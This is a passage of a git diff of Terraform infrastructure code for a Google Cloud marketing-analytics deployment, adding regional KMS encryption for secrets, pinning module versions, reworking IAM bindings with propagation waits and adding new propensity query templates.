"google_kms_key_ring_iam_policy" "key_ring" { + key_ring_id = google_kms_key_ring.key_ring_regional.id + policy_data = data.google_iam_policy.crypto_key_encrypter_decrypter.policy_data +} + # This module stores the values ga4-measurement-id and ga4-measurement-secret in Google Cloud Secret Manager. module "secret_manager" { source = "GoogleCloudPlatform/secret-manager/google" - version = "~> 0.1" - project_id = null_resource.check_secretmanager_api.id != "" ? module.project_services.project_id : var.project_id + version = "0.7.0" + project_id = google_kms_crypto_key_iam_policy.crypto_key.etag != "" && google_kms_key_ring_iam_policy.key_ring.etag != "" ? module.project_services.project_id : var.project_id secrets = [ { name = "ga4-measurement-id" secret_data = (var.ga4_measurement_id == null || var.ga4_measurement_secret == null) ? data.external.ga4_measurement_properties[0].result["measurement_id"] : var.ga4_measurement_id - automatic_replication = true + automatic_replication = false }, { name = "ga4-measurement-secret" secret_data = (var.ga4_measurement_id == null || var.ga4_measurement_secret == null) ? data.external.ga4_measurement_properties[0].result["measurement_secret"] : var.ga4_measurement_secret - automatic_replication = true + automatic_replication = false }, ] + # By commenting the user_managed_replication block, you will deploy replicas that may store the secret in different locations in the globe. + # This is not a desired behaviour, make sure you're aware of it before doing it. + # By default, to respect resources location, we prevent resources from being deployed globally by deploying secrets in the same region of the compute resources. + user_managed_replication = { + ga4-measurement-id = [ + # If you want your replicas in other locations, uncomment the following lines and add them here. + # Check this example, as reference: https://github.com/GoogleCloudPlatform/terraform-google-secret-manager/blob/main/examples/multiple/main.tf#L91 + { + location = var.location + kms_key_name = google_kms_crypto_key.crypto_key_regional.id + } + ] + ga4-measurement-secret = [ + { + location = var.location + kms_key_name = google_kms_crypto_key.crypto_key_regional.id + } + ] + } + depends_on = [ - data.external.ga4_measurement_properties + data.external.ga4_measurement_properties, + google_kms_crypto_key.crypto_key_regional, + google_kms_key_ring.key_ring_regional, + google_project_service_identity.secretmanager_sa, + google_kms_crypto_key_iam_policy.crypto_key, + google_kms_key_ring_iam_policy.key_ring ] } # This module creates a Cloud Storage bucket to be used by the Activation Application module "pipeline_bucket" { - source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" - version = "~> 3.4.1" - project_id = null_resource.check_dataflow_api.id != "" ? module.project_services.project_id : var.project_id - name = "${local.app_prefix}-app-${module.project_services.project_id}" - location = var.location + source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" + version = "9.0.1" + project_id = null_resource.check_dataflow_api.id != "" ? module.project_services.project_id : var.project_id + name = "${local.app_prefix}-app-${module.project_services.project_id}" + location = var.location # When deleting a bucket, this boolean option will delete all contained objects. # If false, Terraform will fail to delete buckets which contain objects. force_destroy = true @@ -471,8 +612,8 @@ resource "google_project_iam_member" "cloud_build_job_service_account" { module.project_services, null_resource.check_artifactregistry_api, data.google_project.project, - ] - + ] + project = null_resource.check_artifactregistry_api.id != "" ? module.project_services.project_id : var.project_id member = "serviceAccount:${var.project_number}-compute@developer.gserviceaccount.com" @@ -516,16 +657,16 @@ resource "google_project_iam_member" "cloud_build_job_service_account" { } data "google_project" "project" { - project_id = null_resource.check_cloudbuild_api != "" ? module.project_services.project_id : var.project_id + project_id = null_resource.check_cloudbuild_api != "" ? module.project_services.project_id : var.project_id } # This module creates a Cloud Storage bucket to be used by the Cloud Build Log Bucket module "build_logs_bucket" { - source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" - version = "~> 3.4.1" - project_id = null_resource.check_cloudbuild_api != "" ? module.project_services.project_id : var.project_id - name = "${local.app_prefix}-logs-${module.project_services.project_id}" - location = var.location + source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" + version = "9.0.1" + project_id = null_resource.check_cloudbuild_api != "" ? module.project_services.project_id : var.project_id + name = "${local.app_prefix}-logs-${module.project_services.project_id}" + location = var.location # When deleting a bucket, this boolean option will delete all contained objects. # If false, Terraform will fail to delete buckets which contain objects. force_destroy = true @@ -543,8 +684,8 @@ module "build_logs_bucket" { iam_members = [ { - role = "roles/storage.admin" - member = "serviceAccount:${var.project_number}-compute@developer.gserviceaccount.com" + role = "roles/storage.admin" + member = "serviceAccount:${var.project_number}-compute@developer.gserviceaccount.com" } ] @@ -554,13 +695,6 @@ module "build_logs_bucket" { ] } -# This resource creates a bucket object using as content the measurement_protocol_payload_template_file file. -resource "google_storage_bucket_object" "measurement_protocol_payload_template_file" { - name = "${local.configuration_folder}/${local.measurement_protocol_payload_template_file}" - source = "${local.template_dir}/${local.measurement_protocol_payload_template_file}" - bucket = module.pipeline_bucket.name -} - # This resource creates a bucket object using as content the audience_segmentation_query_template_file file. data "template_file" "audience_segmentation_query_template_file" { template = file("${local.template_dir}/activation_query/${local.audience_segmentation_query_template_file}") @@ -618,7 +752,7 @@ data "template_file" "churn_propensity_query_template_file" { } } -# This resource creates a bucket object using as content the purchase_propensity_query_template_file file. +# This resource creates a bucket object using as content the churn_propensity_query_template_file file. resource "google_storage_bucket_object" "churn_propensity_query_template_file" { name = "${local.configuration_folder}/${local.churn_propensity_query_template_file}" content = data.template_file.churn_propensity_query_template_file.rendered @@ -641,6 +775,58 @@ resource "google_storage_bucket_object" "purchase_propensity_query_template_file bucket = module.pipeline_bucket.name } +# This resource creates a bucket object using as content the purchase_propensity_vbb_query_template_file file. +data "template_file" "purchase_propensity_vbb_query_template_file" { + template = file("${local.template_dir}/activation_query/${local.purchase_propensity_vbb_query_template_file}") + + vars = { + mds_project_id = var.mds_project_id + mds_dataset_suffix = var.mds_dataset_suffix + activation_project_id = var.project_id + dataset = module.bigquery.bigquery_dataset.dataset_id + } +} + +resource "google_storage_bucket_object" "purchase_propensity_vbb_query_template_file" { + name = "${local.configuration_folder}/${local.purchase_propensity_vbb_query_template_file}" + content = data.template_file.purchase_propensity_vbb_query_template_file.rendered + bucket = module.pipeline_bucket.name +} + +data "template_file" "lead_score_propensity_query_template_file" { + template = file("${local.template_dir}/activation_query/${local.lead_score_propensity_query_template_file}") + + vars = { + mds_project_id = var.mds_project_id + mds_dataset_suffix = var.mds_dataset_suffix + } +} + +# This resource creates a bucket object using as content the lead_score_propensity_query_template_file file. +resource "google_storage_bucket_object" "lead_score_propensity_query_template_file" { + name = "${local.configuration_folder}/${local.lead_score_propensity_query_template_file}" + content = data.template_file.lead_score_propensity_query_template_file.rendered + bucket = module.pipeline_bucket.name +} + +# This resource creates a bucket object using as content the lead_score_propensity_vbb_query_template_file file. +data "template_file" "lead_score_propensity_vbb_query_template_file" { + template = file("${local.template_dir}/activation_query/${local.lead_score_propensity_vbb_query_template_file}") + + vars = { + mds_project_id = var.mds_project_id + mds_dataset_suffix = var.mds_dataset_suffix + activation_project_id = var.project_id + dataset = module.bigquery.bigquery_dataset.dataset_id + } +} + +resource "google_storage_bucket_object" "lead_score_propensity_vbb_query_template_file" { + name = "${local.configuration_folder}/${local.lead_score_propensity_vbb_query_template_file}" + content = data.template_file.lead_score_propensity_vbb_query_template_file.rendered + bucket = module.pipeline_bucket.name +} + # This data resources creates a data resource that renders a template file and stores the rendered content in a variable. data "template_file" "activation_type_configuration" { template = file("${local.template_dir}/activation_type_configuration_template.tpl") @@ -650,16 +836,18 @@ data "template_file" "activation_type_configuration" { auto_audience_segmentation_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.auto_audience_segmentation_query_template_file.output_name}" cltv_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.cltv_query_template_file.output_name}" purchase_propensity_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.purchase_propensity_query_template_file.output_name}" + purchase_propensity_vbb_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.purchase_propensity_vbb_query_template_file.output_name}" churn_propensity_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.churn_propensity_query_template_file.output_name}" - measurement_protocol_payload_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.measurement_protocol_payload_template_file.output_name}" + lead_score_propensity_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.lead_score_propensity_query_template_file.output_name}" + lead_score_propensity_vbb_query_template_gcs_path = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.lead_score_propensity_vbb_query_template_file.output_name}" } } # This resource creates a bucket object using as content the activation_type_configuration.json file. resource "google_storage_bucket_object" "activation_type_configuration_file" { - name = "${local.configuration_folder}/activation_type_configuration.json" - content = data.template_file.activation_type_configuration.rendered - bucket = module.pipeline_bucket.name + name = "${local.configuration_folder}/activation_type_configuration.json" + content = data.template_file.activation_type_configuration.rendered + bucket = module.pipeline_bucket.name # Detects md5hash changes to redeploy this file to the GCS bucket. detect_md5hash = base64encode("${local.activation_type_configuration_file_content_hash}${local.activation_application_content_hash}") } @@ -667,12 +855,19 @@ resource "google_storage_bucket_object" "activation_type_configuration_file" { # This module submits a gcloud build to build a docker container image to be used by the Activation Application module "activation_pipeline_container" { source = "terraform-google-modules/gcloud/google" - version = "3.1.2" + version = "3.5.0" platform = "linux" - #create_cmd_body = "builds submit --project=${module.project_services.project_id} --tag ${local.docker_repo_prefix}/${google_artifact_registry_repository.activation_repository.name}/${local.activation_container_name}:latest ${local.pipeline_source_dir}" - create_cmd_body = "builds submit --project=${module.project_services.project_id} --tag ${local.docker_repo_prefix}/${google_artifact_registry_repository.activation_repository.name}/${local.activation_container_name}:latest --gcs-log-dir=gs://${module.build_logs_bucket.name} ${local.pipeline_source_dir}" + create_cmd_body = <<-EOT + builds submit \ + --project=${module.project_services.project_id} \ + --region ${var.location} \ + --default-buckets-behavior=regional-user-owned-bucket \ + --tag ${local.docker_repo_prefix}/${google_artifact_registry_repository.activation_repository.name}/${local.activation_container_name}:latest \ + --gcs-log-dir=gs://${module.build_logs_bucket.name} \ + ${local.pipeline_source_dir} + EOT destroy_cmd_body = "artifacts docker images delete --project=${module.project_services.project_id} ${local.docker_repo_prefix}/${google_artifact_registry_repository.activation_repository.name}/${local.activation_container_name} --delete-tags" create_cmd_triggers = { @@ -686,9 +881,8 @@ module "activation_pipeline_container" { # This module executes a gcloud command to build a dataflow flex template and uploads it to Dataflow module "activation_pipeline_template" { - source = "terraform-google-modules/gcloud/google" - version = "3.1.2" - additional_components = ["gsutil"] + source = "terraform-google-modules/gcloud/google" + version = "3.5.0" platform = "linux" create_cmd_body = "dataflow flex-template build --project=${module.project_services.project_id} \"gs://${module.pipeline_bucket.name}/dataflow/templates/${local.activation_container_image_id}.json\" --image \"${local.docker_repo_prefix}/${google_artifact_registry_repository.activation_repository.name}/${local.activation_container_name}:latest\" --sdk-language \"PYTHON\" --metadata-file \"${local.pipeline_source_dir}/metadata.json\"" @@ -718,11 +912,11 @@ data "archive_file" "activation_trigger_source" { # This module creates a Cloud Sorage bucket and sets the trigger_function_account_email as the admin. module "function_bucket" { - source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" - version = "~> 3.4.1" - project_id = null_resource.check_cloudfunctions_api.id != "" ? module.project_services.project_id : var.project_id - name = "${local.app_prefix}-trigger-${module.project_services.project_id}" - location = var.location + source = "terraform-google-modules/cloud-storage/google//modules/simple_bucket" + version = "9.0.1" + project_id = null_resource.check_cloudfunctions_api.id != "" ? module.project_services.project_id : var.project_id + name = "${local.app_prefix}-trigger-${module.project_services.project_id}" + location = var.location # When deleting a bucket, this boolean option will delete all contained objects. # If false, Terraform will fail to delete buckets which contain objects. force_destroy = true @@ -750,7 +944,7 @@ module "function_bucket" { # This resource creates a bucket object using as content the activation_trigger_archive zip file. resource "google_storage_bucket_object" "activation_trigger_archive" { - name = local.source_archive_file + name = "${local.source_archive_file_prefix}_${data.archive_file.activation_trigger_source.output_sha256}.zip" source = data.archive_file.activation_trigger_source.output_path bucket = module.function_bucket.name } @@ -821,7 +1015,7 @@ resource "google_cloudfunctions2_function" "activation_trigger_cf" { # This modules runs cloud commands that adds an invoker policy binding to a Cloud Function, allowing a specific service account to invoke the function. module "add_invoker_binding" { source = "terraform-google-modules/gcloud/google" - version = "3.1.2" + version = "3.5.0" platform = "linux" diff --git a/infrastructure/terraform/modules/activation/outputs.tf b/infrastructure/terraform/modules/activation/outputs.tf index f388db1d..da23673a 100644 --- a/infrastructure/terraform/modules/activation/outputs.tf +++ b/infrastructure/terraform/modules/activation/outputs.tf @@ -16,3 +16,8 @@ output "trigger_topic" { description = "activation trigger topic" value = google_pubsub_topic.activation_trigger.name } + +output "configuration_table_name" { + description = "smart bidding configuration table name" + value = split("/", google_bigquery_table.smart_bidding_configuration.id)[5] +} diff --git a/infrastructure/terraform/modules/activation/variables.tf b/infrastructure/terraform/modules/activation/variables.tf index d3fb4759..5814361b 100644 --- a/infrastructure/terraform/modules/activation/variables.tf +++ b/infrastructure/terraform/modules/activation/variables.tf @@ -43,8 +43,8 @@ variable "trigger_function_location" { type = string } -variable "poetry_cmd" { - description = "alias for poetry command on the current system" +variable "uv_run_alias" { + description = "alias for uv run command on the current system" type = string } @@ -72,11 +72,6 @@ variable "ga4_stream_id" { type = string } -variable "poetry_installed" { - description = "Construct to specify dependency to poetry installed" - type = string -} - variable "mds_project_id" { type = string description = "MDS Project ID" @@ -90,4 +85,4 @@ variable "mds_dataset_suffix" { variable "project_owner_email" { description = "Email address of the project owner." type = string -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/activation/versions.tf b/infrastructure/terraform/modules/activation/versions.tf index 5a896e28..2e275387 100644 --- a/infrastructure/terraform/modules/activation/versions.tf +++ b/infrastructure/terraform/modules/activation/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/modules/data-store/data-processing-services.tf b/infrastructure/terraform/modules/data-store/data-processing-services.tf index dd7e66b9..c46df258 100644 --- a/infrastructure/terraform/modules/data-store/data-processing-services.tf +++ b/infrastructure/terraform/modules/data-store/data-processing-services.tf @@ -16,7 +16,7 @@ # https://registry.terraform.io/modules/terraform-google-modules/project-factory/google/latest/submodules/project_services module "data_processing_project_services" { source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" + version = "18.0.0" disable_dependent_services = false disable_services_on_destroy = false @@ -116,4 +116,4 @@ resource "null_resource" "check_dataform_api" { depends_on = [ module.data_processing_project_services ] -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/data-store/dataform.tf b/infrastructure/terraform/modules/data-store/dataform.tf index 2c4d600e..24944803 100644 --- a/infrastructure/terraform/modules/data-store/dataform.tf +++ b/infrastructure/terraform/modules/data-store/dataform.tf @@ -54,9 +54,9 @@ locals { resource "google_dataform_repository" "marketing-analytics" { provider = google-beta # This is the name of the Dataform Repository created in your project - name = "marketing-analytics" - project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id - region = local.dataform_derived_region + name = "marketing-analytics" + project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + region = local.dataform_derived_region lifecycle { precondition { @@ -74,4 +74,4 @@ resource "google_dataform_repository" "marketing-analytics" { depends_on = [ module.data_processing_project_services ] -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/data-store/iam-binding.tf b/infrastructure/terraform/modules/data-store/iam-binding.tf index 4cac19f7..564efd16 100644 --- a/infrastructure/terraform/modules/data-store/iam-binding.tf +++ b/infrastructure/terraform/modules/data-store/iam-binding.tf @@ -12,18 +12,6 @@ # See the License for the specific language governing permissions and # limitations under the License. -# TODO: we might not need to have this email role at all. -resource "google_project_iam_member" "email-role" { - for_each = toset([ - "roles/iam.serviceAccountUser", // TODO: is it really needed? - "roles/dataform.admin", - "roles/dataform.editor" - ]) - role = each.key - member = "user:${var.project_owner_email}" - project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id -} - # Check the Dataform Service Account Access Requirements for more information # https://cloud.google.com/dataform/docs/required-access locals { @@ -38,7 +26,7 @@ resource "null_resource" "wait_for_dataform_sa_creation" { MAX_TRIES=100 while ! gcloud asset search-all-iam-policies --scope=projects/${module.data_processing_project_services.project_id} --flatten="policy.bindings[].members[]" --filter="policy.bindings.members~\"serviceAccount:\"" --format="value(policy.bindings.members.split(sep=\":\").slice(1))" | grep -i "${local.dataform_sa}" && [ $COUNTER -lt $MAX_TRIES ] do - sleep 3 + sleep 10 printf "." COUNTER=$((COUNTER + 1)) done @@ -46,7 +34,7 @@ resource "null_resource" "wait_for_dataform_sa_creation" { echo "dataform service account was not created, terraform can not continue!" exit 1 fi - sleep 20 + sleep 120 EOT } @@ -56,61 +44,185 @@ resource "null_resource" "wait_for_dataform_sa_creation" { ] } +module "email-role" { + source = "terraform-google-modules/iam/google//modules/member_iam" + version = "~> 8.0" + + service_account_address = var.project_owner_email + project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + project_roles = [ + "roles/iam.serviceAccountUser", // TODO: is it really needed? + "roles/dataform.admin", + "roles/dataform.editor" + ] + prefix = "user" +} +#resource "google_project_iam_member" "email-role" { +# for_each = toset([ +# "roles/iam.serviceAccountUser", // TODO: is it really needed? +# "roles/dataform.admin", +# "roles/dataform.editor" +# ]) +# role = each.key +# member = "user:${var.project_owner_email}" +# project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id +#} + +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_email_role_propagation" { + create_duration = "120s" + depends_on = [ + module.email-role + ] +} + # This resource sets the Dataform service account IAM member roles -resource "google_project_iam_member" "dataform-serviceaccount" { +module "dataform-serviceaccount" { + source = "terraform-google-modules/iam/google//modules/member_iam" + version = "~> 8.0" depends_on = [ google_dataform_repository.marketing-analytics, null_resource.check_dataform_api, - null_resource.wait_for_dataform_sa_creation - ] - for_each = toset([ + null_resource.wait_for_dataform_sa_creation, + time_sleep.wait_for_email_role_propagation + ] + service_account_address = local.dataform_sa + project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + project_roles = [ "roles/secretmanager.secretAccessor", - "roles/bigquery.jobUser" - ]) - role = each.key - member = "serviceAccount:${local.dataform_sa}" - project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + "roles/bigquery.jobUser", + "roles/bigquery.dataOwner", + ] + prefix = "serviceAccount" } +# This resource sets the Dataform service account IAM member roles +#resource "google_project_iam_member" "dataform-serviceaccount" { +# depends_on = [ +# google_dataform_repository.marketing-analytics, +# null_resource.check_dataform_api, +# null_resource.wait_for_dataform_sa_creation, +# time_sleep.wait_for_email_role_propagation +# ] +# for_each = toset([ +# "roles/secretmanager.secretAccessor", +# "roles/bigquery.jobUser", +# "roles/bigquery.dataOwner", +# ]) +# role = each.key +# member = "serviceAccount:${local.dataform_sa}" +# project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id +#} -// Owner role to BigQuery in the destination data project the Dataform SA. -// Multiple datasets will be created; it requires project-level permissions -resource "google_project_iam_member" "dataform-bigquery-data-owner" { +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_dataform-serviceaccount_role_propagation" { + create_duration = "120s" depends_on = [ - google_dataform_repository.marketing-analytics, - null_resource.check_dataform_api, - null_resource.wait_for_dataform_sa_creation - ] - for_each = toset([ - "roles/bigquery.dataOwner", - ]) - role = each.key - member = "serviceAccount:${local.dataform_sa}" - project = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + module.dataform-serviceaccount + ] } // Read access to the GA4 exports -resource "google_bigquery_dataset_iam_member" "dataform-ga4-export-reader" { +module "dataform-ga4-export-reader" { + source = "terraform-google-modules/iam/google//modules/bigquery_datasets_iam" + version = "~> 8.0" depends_on = [ google_dataform_repository.marketing-analytics, null_resource.check_dataform_api, - null_resource.wait_for_dataform_sa_creation + null_resource.wait_for_dataform_sa_creation, + time_sleep.wait_for_dataform-serviceaccount_role_propagation + ] + project = var.source_ga4_export_project_id + bigquery_datasets = [ + var.source_ga4_export_dataset, + ] + mode = "authoritative" + + bindings = { + "roles/bigquery.dataViewer" = [ + "serviceAccount:${local.dataform_sa}", + ] + "roles/bigquery.dataEditor" = [ + "serviceAccount:${local.dataform_sa}", ] - role = "roles/bigquery.dataViewer" - member = "serviceAccount:${local.dataform_sa}" - project = var.source_ga4_export_project_id - dataset_id = var.source_ga4_export_dataset + } +} +#resource "google_bigquery_dataset_iam_member" "dataform-ga4-export-reader" { +# depends_on = [ +# google_dataform_repository.marketing-analytics, +# null_resource.check_dataform_api, +# null_resource.wait_for_dataform_sa_creation, +# time_sleep.wait_for_dataform-serviceaccount_role_propagation +# ] +# role = "roles/bigquery.dataViewer" +# member = "serviceAccount:${local.dataform_sa}" +# project = var.source_ga4_export_project_id +# dataset_id = var.source_ga4_export_dataset +#} + +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_dataform-ga4-export-reader_role_propagation" { + create_duration = "120s" + depends_on = [ + module.dataform-ga4-export-reader + ] } // Read access to the Ads datasets -resource "google_bigquery_dataset_iam_member" "dataform-ads-export-reader" { +module "dataform-ads-export-reader" { + source = "terraform-google-modules/iam/google//modules/bigquery_datasets_iam" + version = "~> 8.0" depends_on = [ google_dataform_repository.marketing-analytics, null_resource.check_dataform_api, - null_resource.wait_for_dataform_sa_creation + null_resource.wait_for_dataform_sa_creation, + time_sleep.wait_for_dataform-ga4-export-reader_role_propagation + ] + count = length(var.source_ads_export_data) + project = var.source_ads_export_data[count.index].project + bigquery_datasets = [ + var.source_ads_export_data[count.index].dataset, + ] + mode = "authoritative" + + bindings = { + "roles/bigquery.dataViewer" = [ + "serviceAccount:${local.dataform_sa}", + ] + "roles/bigquery.dataEditor" = [ + "serviceAccount:${local.dataform_sa}", ] - count = length(var.source_ads_export_data) - role = "roles/bigquery.dataViewer" - member = "serviceAccount:${local.dataform_sa}" - project = var.source_ads_export_data[count.index].project - dataset_id = var.source_ads_export_data[count.index].dataset + } +} +#resource "google_bigquery_dataset_iam_member" "dataform-ads-export-reader" { +# depends_on = [ +# google_dataform_repository.marketing-analytics, +# null_resource.check_dataform_api, +# null_resource.wait_for_dataform_sa_creation, +# time_sleep.wait_for_dataform-ga4-export-reader_role_propagation +# ] +# count = length(var.source_ads_export_data) +# role = "roles/bigquery.dataViewer" +# member = "serviceAccount:${local.dataform_sa}" +# project = var.source_ads_export_data[count.index].project +# dataset_id = var.source_ads_export_data[count.index].dataset +#} + +# Propagation time for change of access policy typically takes 2 minutes +# according to https://cloud.google.com/iam/docs/access-change-propagation +# this wait make sure the policy changes are propagated before proceeding +# with the build +resource "time_sleep" "wait_for_dataform-ads-export-reader_role_propagation" { + create_duration = "120s" + depends_on = [ + module.dataform-ads-export-reader + ] } diff --git a/infrastructure/terraform/modules/data-store/main.tf b/infrastructure/terraform/modules/data-store/main.tf index 214f170c..9704661b 100644 --- a/infrastructure/terraform/modules/data-store/main.tf +++ b/infrastructure/terraform/modules/data-store/main.tf @@ -21,7 +21,7 @@ data "google_project" "data_processing" { } data "google_secret_manager_secret" "github_secret_name" { - secret_id = google_secret_manager_secret.github-secret.name + secret_id = google_secret_manager_secret.github-secret.secret_id project = var.data_processing_project_id } @@ -29,88 +29,19 @@ provider "google" { region = var.google_default_region } -# This module sets up a Dataform workflow environment for the "dev" environment. -module "dataform-workflow-dev" { - # The count argument specifies how many instances of the module should be created. - # In this case, it's set to var.create_dev_environment ? 1 : 0, which means that - # the module will be created only if the var.create_dev_environment variable is set to `true`. - # Check the terraform.tfvars file for more information. - count = var.create_dev_environment ? 1 : 0 - # the path to the Terraform module that will be used to create the Dataform workflow environment. - source = "../dataform-workflow" - - project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id - # The name of the Dataform workflow environment. - environment = "dev" - region = var.google_default_region - # The ID of the Dataform repository that will be used by the Dataform workflow environment. - dataform_repository_id = google_dataform_repository.marketing-analytics.id - # A list of tags that will be used to filter the Dataform files that are included in the Dataform workflow environment. - includedTags = ["ga4"] - - source_ga4_export_project_id = var.source_ga4_export_project_id - source_ga4_export_dataset = var.source_ga4_export_dataset - ga4_incremental_processing_days_back = var.ga4_incremental_processing_days_back - source_ads_export_data = var.source_ads_export_data - destination_bigquery_project_id = length(var.dev_data_project_id) > 0 ? var.staging_data_project_id : var.data_project_id - destination_bigquery_dataset_location = length(var.dev_destination_data_location) > 0 ? var.dev_destination_data_location : var.destination_data_location - - # The daily schedule for running the Dataform workflow. - # Depending on the hour that your Google Analytics 4 BigQuery Export is set, - # you may have to change this to execute at a later time of the day. - # Observe that the GA4 BigQuery Export Schedule documentation - # https://support.google.com/analytics/answer/9358801?hl=en#:~:text=A%20full%20export%20of%20data,(see%20Streaming%20export%20below). - # Check https://crontab.guru/#0_5-23/4_*_*_* to see next execution times. - daily_schedule = "0 5-23/4 * * *" -} - -# This module sets up a Dataform workflow environment for the "staging" environment. -module "dataform-workflow-staging" { - # The count argument specifies how many instances of the module should be created. - # In this case, it's set to var.create_staging_environment ? 1 : 0, which means that - # the module will be created only if the var.create_staging_environment variable is set to `true`. - # Check the terraform.tfvars file for more information. - count = var.create_staging_environment ? 1 : 0 - # the path to the Terraform module that will be used to create the Dataform workflow environment. - source = "../dataform-workflow" - - project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id - # The name of the Dataform workflow environment. - environment = "staging" - region = var.google_default_region - # The ID of the Dataform repository that will be used by the Dataform workflow environment. - dataform_repository_id = google_dataform_repository.marketing-analytics.id - # A list of tags that will be used to filter the Dataform files that are included in the Dataform workflow environment. - includedTags = ["ga4"] - - source_ga4_export_project_id = var.source_ga4_export_project_id - source_ga4_export_dataset = var.source_ga4_export_dataset - source_ads_export_data = var.source_ads_export_data - destination_bigquery_project_id = length(var.staging_data_project_id) > 0 ? var.staging_data_project_id : var.data_project_id - destination_bigquery_dataset_location = length(var.staging_destination_data_location) > 0 ? var.staging_destination_data_location : var.destination_data_location - - # The daily schedule for running the Dataform workflow. - # Depending on the hour that your Google Analytics 4 BigQuery Export is set, - # you may have to change this to execute at a later time of the day. - # Observe that the GA4 BigQuery Export Schedule documentation - # https://support.google.com/analytics/answer/9358801?hl=en#:~:text=A%20full%20export%20of%20data,(see%20Streaming%20export%20below). - # Check https://crontab.guru/#0_5-23/4_*_*_* to see next execution times. - daily_schedule = "0 5-23/4 * * *" -} - # This module sets up a Dataform workflow environment for the "prod" environment. module "dataform-workflow-prod" { # The count argument specifies how many instances of the module should be created. - # In this case, it's set to var.create_prod_environment ? 1 : 0, which means that - # the module will be created only if the var.create_prod_environment variable is set to `true`. + # In this case, it's set to var.deploy_dataform ? 1 : 0, which means that + # the module will be created only if the var.deploy_dataform variable is set to `true`. # Check the terraform.tfvars file for more information. - count = var.create_prod_environment ? 1 : 0 + count = var.deploy_dataform ? 1 : 0 # the path to the Terraform module that will be used to create the Dataform workflow environment. source = "../dataform-workflow" - project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + project_id = null_resource.check_dataform_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id # The name of the Dataform workflow environment. - environment = "prod" + property_id = var.property_id region = var.google_default_region dataform_repository_id = google_dataform_repository.marketing-analytics.id @@ -127,4 +58,5 @@ module "dataform-workflow-prod" { # https://support.google.com/analytics/answer/9358801?hl=en#:~:text=A%20full%20export%20of%20data,(see%20Streaming%20export%20below). # Check https://crontab.guru/#0_5-23/2_*_*_* to see next execution times. daily_schedule = "0 5-23/2 * * *" + time_zone = var.time_zone } diff --git a/infrastructure/terraform/modules/data-store/secretmanager.tf b/infrastructure/terraform/modules/data-store/secretmanager.tf index d89b86e5..2d4d6889 100644 --- a/infrastructure/terraform/modules/data-store/secretmanager.tf +++ b/infrastructure/terraform/modules/data-store/secretmanager.tf @@ -14,11 +14,26 @@ resource "google_secret_manager_secret" "github-secret" { secret_id = "Github_token" - project = null_resource.check_secretmanager_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + project = null_resource.check_secretmanager_api.id != "" ? module.data_processing_project_services.project_id : data.google_project.data_processing.project_id + # This replication strategy will deploy replicas that may store the secret in different locations in the globe. + # This is not a desired behaviour, make sure you're aware of it before enabling it. + #replication { + # auto {} + #} + + # By default, to respect resources location, we prevent resources from being deployed globally by deploying secrets in the same region of the compute resources. + # If the replication strategy is seto to `auto {}` above, comment the following lines or else there will be an error being issued by terraform. replication { - #automatic = true - auto {} + user_managed { + replicas { + location = var.google_default_region + } + # If you want your replicas in other locations, uncomment the following lines and add them here. + #replicas { + # location = "us-east1" + #} + } } depends_on = [ @@ -28,7 +43,7 @@ resource "google_secret_manager_secret" "github-secret" { } resource "google_secret_manager_secret_version" "secret-version-github" { - secret = google_secret_manager_secret.github-secret.id + secret = google_secret_manager_secret.github-secret.id secret_data = var.dataform_github_token #deletion_policy = "DISABLE" @@ -38,4 +53,4 @@ resource "google_secret_manager_secret_version" "secret-version-github" { null_resource.check_dataform_api, 